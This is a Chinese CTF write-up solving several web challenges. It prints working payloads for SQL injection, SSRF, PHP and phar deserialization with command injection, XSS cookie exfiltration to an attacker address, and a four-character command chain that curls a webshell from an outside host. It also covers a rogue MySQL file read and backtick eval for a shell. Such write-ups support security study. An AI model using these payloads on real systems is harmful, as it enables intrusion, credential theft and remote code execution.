新春战"疫",高校ctf

新春战"疫",高校ctf

前言

这个比赛学到很多以前拖着不想学的东西,什么mysql服务端伪造,soapclient反序列化,xss绕csp,四字命令执行,cbc字符翻转,明文攻击等等。。

在这次比赛中特别感谢Nep的师傅们(www,shana,imagin,y1ng等等。)

确实还是认识到自己挺多东西没学到位,学了点皮毛(逃。。。

1. 0 web1 easy_trick

1.1 第一关 sql注入(联合查询and some trick)

一道套娃题,第一关卡住了好久,在最后一天还是和师傅们一起做了出来。

一开始就是一个sql注入。(其实最后看了源码,发现压根没有过滤,就一个date()函数。

f12可以看到提示time变量

可以看到有一个简单的回显

?time=Y

加入单引号会后就报错了

这里尝试了很多方法但是动不动就500,然后就去做其他的了。第二天起来又打算摸一下这道题目。

一开始想着是不是先把我们输入的字符串进行了替换。然后发现思路错了,因为能用的字符根本不够我们使用,进行sql注入。

最后有师傅提醒可以在每个字符前面加了一个\,就可以进行正常的注入了

Y' \o\r 1 -- -

写了个脚本注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2020-03-08 13:26
FileName: exp.py
"""
import requests
import string


def isalpha(alphabet):
if alphabet in string.ascii_letters:
return True
else:
return False


def main():
ascii_letters = string.ascii_letters
sql = "union select 1,2,3"
formatSql = ""
for i in range(len(sql)):
if isalpha(sql[i]):
formatSql += f"\\{sql[i]}"
else:
formatSql += sql[i]
url = f"http://121.37.181.246:6333/?time=0'{formatSql} -- -"
r = requests.get(f"http://121.37.181.246:6333/?time=0'{formatSql} -- -")

if r.status_code != 500:
print(url)
else:
print("wrong")


if __name__ == '__main__':
main()

正常回显

这个一共有3列,然后就可以利用联合注入

回显在第二列上

表名

1
?time=0%27\u\n\i\o\n%20\s\e\l\e\c\t%201,\g\r\o\u\p_\c\o\n\c\a\t(\t\a\b\l\e_\n\a\m\e),3%20\f\r\o\m%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\t\a\b\l\e\s%20\w\h\e\r\e%20\t\a\b\l\e_\s\c\h\e\m\a=\d\a\t\a\b\a\s\e()%20--%20-

爆出所有列

1
?time=0%27\u\n\i\o\n%20\s\e\l\e\c\t%201,\g\r\o\u\p_\c\o\n\c\a\t(\c\o\l\u\m\n_\n\a\m\e),3%20\f\r\o\m%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\c\o\l\u\m\n\s%20\w\h\e\r\e%20\t\a\b\l\e_\s\c\h\e\m\a=\d\a\t\a\b\a\s\e()%20%20--%20-

得到用户名密码和url

1
2
3
4
5
6
得到用户名
admin
密码
20200202goodluck
url
/eGlhb2xldW5n

1.1 第二关 (SSRF 反序列化 and some trick)

输入用户名和密码来到check.php

check.php

f12可以发现hint

hint

直接访问发现有拦截,尝试修改x-forworded-for无果

请从本地访问

http协议

发现又回到了原来的窗口

如果输入flag或者没有localhost则会报错,尝试利用file协议读一下本地文件

1
check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php&submit=%E6%9F%A5%E8%AF%A2

可以直接获得源码

这里也是学到了file://localhost/etc/passwd居然可以读本地文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
///eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php 源码
<?php

class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{

if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);

}

}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());

}

}
unserialize((base64_decode($_GET['code'])));

?>

这里既然能读文件,那干脆全读了,想看看第一关到底设了什么坑。

1
2
3
4
5
6
7
8
9
10
//index.php
<?php
include('conn.php');
error_reporting(0);
$time = date($_GET['time']); //这个地方是个坑
$sql = "select * from `content` where `createtime` = '$time' ";
$r = $conn->query($sql);
$content = $r->fetch_array(MYSQL_ASSOC);

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
///eGlhb2xldW5n/check.php
<?php
include("../conn.php");
if(empty($_SESSION['login'])){
die('请登录!');
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
die('请从本地访问');
}

if(!preg_match("/flag|fl|la|ag|fla|lag|log/is", $parts['path'])){
readfile($url);
}else{
die('不要搞这些奇奇怪怪的东西。');
}
}
?>

接着看那个/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php的源码.

1
2
3
4
5
6
7
8
9
10
public function content_to_file($content)
{
$passwd = $_GET['pass'];
if (preg_match('/^[a-z]+\.passwd$/m', $passwd)) {
if (strpos($passwd, "20200202")) {
echo file_get_contents("./" . $content);
}

}
}

这里使用了/m的正则多行匹配,所以可以用%0a绕过,得到passa.passwd%0a20200202

1
2
3
4
5
6
7
8
9
public function calc()
{
$gf = $this->gf;
if (!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)) {
eval('$content=' . $gf . ';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}

这里过滤掉了数字+字母+少部分特殊符号,但是却没有过滤~()可以直接利用取反来构造我们想要的字符串。

接着跟进一下$this->aiisc_to_chr($content);

1
2
3
4
5
6
7
8
9
10
11
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}

这里是把输入进去的content两个唯一组,然后chr获得字符,所以我们传入的应该是一个字符串,应该是一个全数字的,我们要读的是/flag,因为FLAG的这个ascii码都是小于100的。

构造脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class trick
{
public $gf;

public function __construct()
{
$this->gf = "(~" . ~'70766571' . ")";//FLAG

}
}

echo base64_encode(serialize(new trick()));

exp如下

1
?code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToiKH7Iz8jJycrIzikiO30=&pass=a.passwd%0a20200202

取反后

得到FLAG

绕过正则

读/flag

2.0 web2 fmkq

2.1 SSRF探测内网引用

这个题目其实

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

稍微审了下源码,过滤掉了一些协议,但是最后的目标还是尝试SSRF$funcname = $head.'curl_init';,这个其实是考察所有函数初始命名空间都是\所以$head=\

1
2
3
4
5
6
7
8
9
10
11
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);

curl这一部分,是没有回显但是后面有一个sprintf格式化字符串,这里可以利用其特性,将$begin改成%1$s

具体原理如下

%后面的数字代表第几个参数,$后代表格式化类型

所以这样可以带出curl的回显。由于过滤了一些协议,无法直接读文件,所以导致只能够尝试找一下内网有没有其他的开放的端口。

8080端口可访问

2.2 python格式化字符串漏洞

最终发现localhost:8080端口下有一个python的应用。

1
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://localhost:8080

这里有一个读文件的操作,然是只有成为vip才能够任意文件读取。所以要先获得一个vipcode,这里只能靠运气尝试一下,试了很久发现,如果直接读取xxx,得到的结果只有The content of xxx is error0

image-20200309153832617

然后尝试一下

1
{file}

发现被替换成了error,后面尝试了下{file.test},按f12可以看到

file.test

file是一个对象

可以利用file.__dict__来读一下其有哪些属性

1
The content of {'file': , 'vipcode': '0', 'vip': } is error0

再用file.vip.__dict__读一下vip

得到了vipcode

1
The content of {'truevipcode': 'BWUTtnq6d8myKFvJ3wk1VfrecL5ZGQa4Cx9uNpoDHPEiOj7S'} is error0

带上vipcode请求

然后可以看到有一个fl4g_1s_h3re_u_wi11_rua,然后结合题目一开始给的提示flag 在/未知目录/flag所以可以知道flag应该就是在这个文件夹里面了。

起初想尝试读/proc里面的缓存文件,但是读了几次,整个服务器就会宕机,再也不干了(逃。。。

然后发现有一个app文件夹

1
?head=\&begin=%1$s&url=http://localhost:8080/read/file=/app/base/readfile.py%26vipcode=BWUTtnq6d8myKFvJ3wk1VfrecL5ZGQa4Cx9uNpoDHPEiOj7S
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

Welcome,dear vip! Here are what you want:
The file you read is:
/app/base/readfile.py

The content is:
from .vip import vip
import re
import os


class File:
def __init__(self,file):
self.file = file

def __str__(self):
return self.file

def GetName(self):
return self.file


class readfile():

def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"

def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()


def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True

def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False

def GetFileName(self):
return self.file.GetName()


current_folder_file = []


class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output

核心代码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class readfile():
def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
。。。
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
。。。
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'

这里可以看到self.filename = readfile.GetFileName()是指的一个整个文件路径例如fl4g_1s_h3re_u_wi11_rua/flag

然后self.path就是fl4g_1s_h3re_u_wi11_rua,代表的是文件路径

self.file就是flag,代表的是文件名

看一下代码逻辑。

从这一句self.filename = readfile.GetFileName()跟进一下,

1
2
def GetFileName(self):
return self.file.GetName()

这里返回了self.file.getName()调用了File类的getName()函数,返回了File.file中的值。

然后if 'fl4g' in self.path:只判断了文件路径,只需要文件名中没有fl4g就行了,最终的关键点在

1
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)

这里的vipfile=self.file由于self.file本身是一个File类,所以vipvile.file也就相当于File.file也可以理解成为self.file.file,

由于python字符串格式化漏洞如果我们传入的整体路径为fl4{vipfile.file[3]}_1s_h3re_u_wi11_rua/flag由于vipfile.file相当于self.file.file=flag,所以这里的{vipfile.file[3]}=='g'可以成功绕过,最终读取文件。

最后的exp为

1
?head=\&begin=%1$s&url=http://localhost:8080/read/file=fl4{vipfile.file[3]}_1s_h3re_u_wi11_rua/flag%26vipcode=l6vnameEhQFVJzUI03Gc4fD7pLkCHYuyPMO2ZNWgxjsRAqdi

3.0 web3 sqlcheckin

3.1 sql 万能密码

这个题直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....

是直接拼接的

直接构造万能密码password='-0-'&username=admin

flag到手

4.0 web4 happyvacation

这道题imagin师傅出的,也是牛逼,出出来之前6个非预期(4个rce,结果比赛时候又出了一个非预期(rce,太顶了。我是合法非预期(逃。。。

4.1 git泄露

利用githack可以直接恢复源码

image-20200309163642698

4.2 一头雾水之xss

整个网站分为

  • 登录 login
  • 上传头像 customlize
  • 回答问题 have a quiz
  • 提问老师 ask teacher

login

提问老师

似乎是获取flag的关键点(md5放爆破。。有点摸不清头脑,看下代码

4.2.1 代码审计

总体浏览了一下代码发现几个关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Info{
function leaveMessage($message){
if(preg_match('/coo|<|ja|\&|\\\|>|win/i', $message)){
$this->message = "?";
}
else{
$this->message = addslashes($message);
}
}
}

class User{
function showMessage(){
echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>";
}
}

利用点在index.php中的$_GET['message']

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// var_dump($user);
if(isset($user)){
if(isset($_GET['message'])){
$user->leaveMessage($_GET['message']);
}
$user->showMessage();
if($user->url->flag){
echo $user->asker->mes();
}
}
?>

可以控制$message变量,应该可以xss。想了想获得flag逻辑应该是,利用xss把老师cookie打出来,然后替换cookie,就可以获得flag了

4.2.2 难搞的xss

waf过滤掉了cookie,以及windows等函数,和一些左右尖括号。应该可以利用编码绕过

1
2
3
4
5
6
if(preg_match('/coo|<|ja|\&|\\\|>|win/i', $message)){
$this->message = "?";
}
else{
$this->message = addslashes($message);
}

但这个还只是开始,addslashes函数才是关键,这个函数想要bypass基本上我所知道的只有宽字节攻击(利用网站编码为GBK从而逃逸出单引号。

但是怎么尝试都只是一个,小黑疙瘩。看了一下网站字符编码

image-20200309165147537

网站字符编码为utf-8

那么要是能够改一下网站编码格式就好了,巧了,我有一个插件可以改网站编码字符集。

插件改字符集

改了之后发现就闭合了!

image-20200309165556817

aelrt(1)

弹窗

然后就是bypass上面那个waf了,由于那个正则限制其实还不算很多,有蛮多思路可以绕过

利用self属性,构造函数

self属性

但是他这里又限制了coo以及win还有什么办法可以绕过呢?反引号,或者编码

反引号

或者利用String.fromCharCode来绕过

String.fromCharCode绕过

4.2.3 翻车

构造payload

1
?message=1%aa';var link=document.createElement(`link`);link.setAttribute(`rel`,`prefetch`);link.setAttribute(`href`, `//ip:port/` %2bself[`doc`%2b`ument`][`co`%2b`okie`]);document.head.appendChild(link);//

index.php可以带出cookie

在index.php打一发payload可以直接带出cookie,尝试一下在老师页面,却怎么都打不出来,最后题目给了hint

hint

这就很好解释了,我用的是eage+反引号全中,能带出来也是鬼来了。

改一下paylaod

1
1%aa';var d=String.fromCharCode(100,111,99,117,109,101,110,116);var c =String.fromCharCode(99,111,111,107,105,101);var w=String.fromCharCode(119,105,110,100,111,119);var o=String.fromCharCode(111,112,101,110);var ip = String.fromCharCode(x,x,x,x,x);self[w].open(ip%2bself[d][c]);//

结果index.php能够带出来,老师页面还是带不出来。。。

猜想应该是插件的问题,本体能够打,但是服务器没有插件,不能更改字符集。应该是代码中还有没看到的地方

4.2.4 再次代码审计

class UrlHelper在中有一个

1
2
3
4
5
6
7
8
9
10
function go(){
if(isset($this->pre) and isset($this->after) and isset($this->location)){
$dest = $this->pre . $this->location . $this->after;
header($dest);
}
else{
// Error occured?
header("Location: index.php");
}
}

这里设置了头,如果我们能够控制$this->pre、$this->location那么就可以设置header头了,然后改一下gbk就可以宽字节利用了,

全局搜索一下$this->locationquiz.php中正好有利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
// var_dump($user);
if(isset($_GET['answer'])){
$answer = $_GET['answer'];
$user->asker->answer($user, $answer);
if($user->url->referer != $user->url->page){
$user->url->location = $user->url->referer;
}
$user->url->flag = True;
}
if(isset($_GET['referer'])){
$referer = $_GET['referer'];
if($referer != $user->url->page){
$user->url->referer = $referer;
}
}
?>

首先置空$this->pre然后控制一下$_GET['referer']设置一下字符集

payload如下

1
?referer=Content-Type: text/html; charset=GBK; Referer: index&answer=user->url->pre

字符集变成了gbk

再次发送xss的payload

1
1%aa';var d=String.fromCharCode(100,111,99,117,109,101,110,116);var c =String.fromCharCode(99,111,111,107,105,101);var w=String.fromCharCode(119,105,110,100,111,119);var o=String.fromCharCode(111,112,101,110);var ip = String.fromCharCode(x,x,x,x,x);self[w].open(ip%2bself[d][c]);//

爆破md5的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2020-03-05 13:51
FileName: exp.py
"""
import hashlib


def md5(num):
h1 = hashlib.md5()
h1.update(num.encode(encoding="utf-8"))
return h1.hexdigest()


def main():
num = input()
for i in range(0, 9999):
if md5(str(i))[:6]==str(num):
print(i)
break
pass


if __name__ == '__main__':
main()

得到flag

5.0 hackme

这一题是我和队友出的考察点只有3个session反序列化data协议,四字命令执行

考点一:www.zip源码泄露

考点二:session反序列化

查看源码,发现录入session和读取session用了不同的引擎,1.png

image.png

于是我们可以利用session反序列化控制info类中的admin变量为1。

exp.php

1
2
3
4
5
6
7
8
9
<?php
class info
{
public $admin;
}
$a=new info();
$a->admin=1;
echo serialize($a);
#| O:4:"info":1:{s:5:"admin";i:1;}

在upload页面post,sign=|#O:4:"info":1:{s:5:"admin";i:1;},然后点开profile进入下一关。

考点三 data协议以及4字命令注入

这一关借鉴ByteCtfBoringCode,并且修补了能够通过购买域名来解题的等途径。具体的题目细节如下。

0. compress.zlib协议

由于代码中限制了对data协议的使用,所以只能通过compress.zlib协议的一个特性,即当compress.zlib加在任何其他协议之前,仍然会保持其他协议的功能

1
compress.zlib://data:,xxxxxx

1. data协议的格式

参考rfc2391,data协议的格式为data: [ mediatype ] [ ";charset" ] [ ";base64" ] , data。其中charset,base64可选;data可用url编码。然而一个在php中,一个合法的data协议只需要满足data:xxx/xxx;test=test;%23就行。

2. data协议的base64编码

由于filter_var很敏感,遇到一些空格报错,所以可以利用data协议的base64绕过。

compress.zlib://data:@127.0.0.1/?;base64,(base64编码后的payload)

3. 没有回显的exec

执行命令的时候不是用的eval而是用的没有回显的exec,这样命令执行不会有回显。

4. 4字命令注入

如果单纯只考命令注入可能太简单了,所以对命令长度进行了一定的限制,最后限制到了4字的命令执行

由于exec限制了回显,所以只能通过写入文件getshell实现最后拿flag

exp.py脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
import base64
from time import sleep


def base64_encode(string):
return str(base64.b64encode(string.encode('utf-8')), 'utf-8')


def GetShell():
url = "http://xxx/core/index.php"
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',

# reverse file "v" to file "x", content "ls -th >p"
'>rev',
'*v>p',

# generate "curl a.mrkaixin.computer>1.ph"
'>ph\\',
'>1.\\',
'>\>\\',
'>er\\',
'>ut\\',
'>mp\\',
'>co\\',
'>n.\\',
'>i\\',
'>ix\\',
'>ka\\',
'>mr\\',
'>a.\\',
'>\ \\',
'>rl\\',
'>cu\\',

# got shell
'sh p',
'sh g',
]

for i in payload:
base64Text = base64_encode(i)
data = {
'url': "compress.zlib://data:@127.0.0.1/?;base64,{}".format(base64Text)
}
header = {
'cookie': 'PHPSESSID=b1795c64b7a04ad9f4890a608963e9ab'
}
r = requests.post(url, data=data, headers=header)
print(i)
sleep(0.1)

shellUrl = ""
response = requests.get(shellUrl)
if response.status_code == 200:
print("[*] Get shell !")
else:
print("[*] fail!")


if __name__ == "__main__":
GetShell()

exp.jpg

exp.jpg

flag

1
flag{B11e_oX4461_Y2h1_100_OIZW4===}

flag中有一个彩蛋,flag是用16,base64,摩斯,base32加密的,解密之后为biie Da Chu Ti r3n

6.0 webct

整个网站,有一个测试mysql服务器连接,一个文件上传。

6.1 源码泄露代码审计

首先扫了一下目录在www.zip发现源码

6.2 phar文件与反序列化

核心代码在config.php

反序列化链其实很简单

Fileupload类触发了__destruct当一类消失的时候触发$this->file->xs()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Fileupload
{
...
function __destruct()
{
$this->file->xs();
}
}

class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."<br>";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}

Listfile类中有一个__call当调用这个类中没有的函数的时候就会触发__call

1
2
3
4
function __call($name, $arguments)
{
system("ls ".$this->file);
}

这个地方很明显存在一个命令注入。所以只需要控制Fileupload->file=new Listfile(),然后再控制$Listfile->file就可以达到命令执行了。

构造phar的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Listfile
{
public $file;

public function __construct()
{
$this->file = "& ls /";
}
}

class Fileupload
{
public $file;

function __construct()
{
$this->file = new Listfile();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new Fileupload()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

Fileupload中有很多文件的过滤,所以我们可以把我们的phar文件改个名,然后修改一下Content-Type就可以了。

ps:phar://协议解读phar文件不是看后缀,而是看标志头<?php __HALT_COMPILER(); ?>所以改文件名不会影响最后phar协议的读文件

上传phar文件

6.3 服务端伪造

6.3.1 脚本操作

网上找了很多资料,虽然还是没有复现原理,稍微懂得这是个什么东西了(脚本小子。。

找到了poc

rogue_mysql_server.py

一开始对这个不是很了解碰到了一些运行不了的问题,问了p3师傅,最终还是把脚本跑了起来。记录操作一下过程,我是在我服务器上面执行的。把脚本传上去,运行(我是python3的环境

1
2
#后台运行
python fakeMysqlClinet.py &

正常显示的图如下。

正常显示

但是我碰到的情况,要么就是脚本启动了跟没启动一样,要么就是直接报错。

首先检查一下3306端口是不是被自身的mysql占用了,如果能停止服务就先停止,让脚本占3306端口。可以ps -ef | grep python查看一下是否python脚本在后台运行了。大概率都是端口被占用了。

读取/etc/passwd文件

6.3.1 phar协议与mysql

熟悉反序列化的都知道,phar协议可以读取对.phar进行一次自动的反序列化。这样就存在反序列化攻击,而题目中也存在上传phar文件的点。

我们注意到,LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper.

即这个服务端读文件的请求可以是一个phar协议,这样就可以通过phar协议来读取我们上传的.phar文件

现将phar文件上传好之后,然后修改一下脚本,利用phar协议,达成反序列化漏洞,从而命令执行

可以直接用phar协议解析文件

运行一次

查看根目录

模拟上面的操作,改一下脚本,然后/readflag即可

这里就不在赘述了

参考文章

rogue_mysql_server.py

CSS-T | Mysql Client 任意文件读取攻击链拓展

Phar与Stream Wrapper造成PHP RCE的深入挖掘

7.0 PHP-UAF

首先网站就给了个shell,直接蚁剑连上去就行了

7.1 disable_function

这里直接连上蚁剑把exp打上去就行了。只不过环境比较的迷。有的师傅打了500发没有一发成功,有的师傅一发入魂。

exp

8.0 nothardweb (unsolved)

这一道题才是做的最吐血的,但是也是学到最多的,虽然最后没做出来,挺遗憾的。shana师傅肝了个通宵(膜

8.1 利用session置零伪造admin(非预期)

首先www.zip直接获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = "";
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
//echo base64_encode($cipher);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

这里预期解应该是爆破mt_strand种子,然后得到秘钥,再利用秘钥解析密文获取中间值,然后与明文异或获得iv

占个坑,之后填

这里讲的是一个非预期,这道题我是从晚上8点一直肝到早上3点,由于一开始对padding oracle以及cbc字节翻转攻击不是很了解,所以花了挺久的时间去学习这两个知识点(wtcl,搞到后面发现,不知道秘钥,也不知道iv就无法对伪造admin,花了很久很久想要去找iv最后都没有找到。

最后逼急了,shana师傅直接整了一个非预期(膜。仔细观察一下代码逻辑,这里无论是加密还是解密,都是用到的session这个变量,但是如果我们的,session为空呢?那么无论是秘钥还是iv也都是空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = "";
$_SESSION['iv'] = $IV;
}
$username = "admin";
$o = new User($username);
// echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
echo "\n".base64_encode($cipher)."\n";
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

利用脚本生成hashuser

1
2
abc2f600e79557ef90ca4e07516b486f
b3hIekw5Mk82WTQwbUk1M3RHYThQR0V4UmVZeHVSdE1ranZRYk43eksyVXhaTnFQZ2l1YkRKc0dpd1Z5cUlzVg==

然后把session置零即可获得admin权限

获得权限

8.2 6字弹shell (unsolve)

成为admin之后,include hint.php

hint.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
I left a shell in 10.10.1.12/index.php
try to get it!
<!-- maybe something useful
\<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}
?\>-->

直接说思路吧,首先前置知识,php反引号命令执行看图就行了

反引号执行命令

由于eval(substr($cc, 0, 6));他只执行$cc的前6个字符,但是可以利用

1
`$cc`;xxxxxxxxxx

xxxxx为执行的命令,我在本地搭了一个环境

执行了ipconfig

1
http://mrkaixin.com/?cc=`$cc`;ifconfig

所以可以直接利用这个命令来弹shell

1
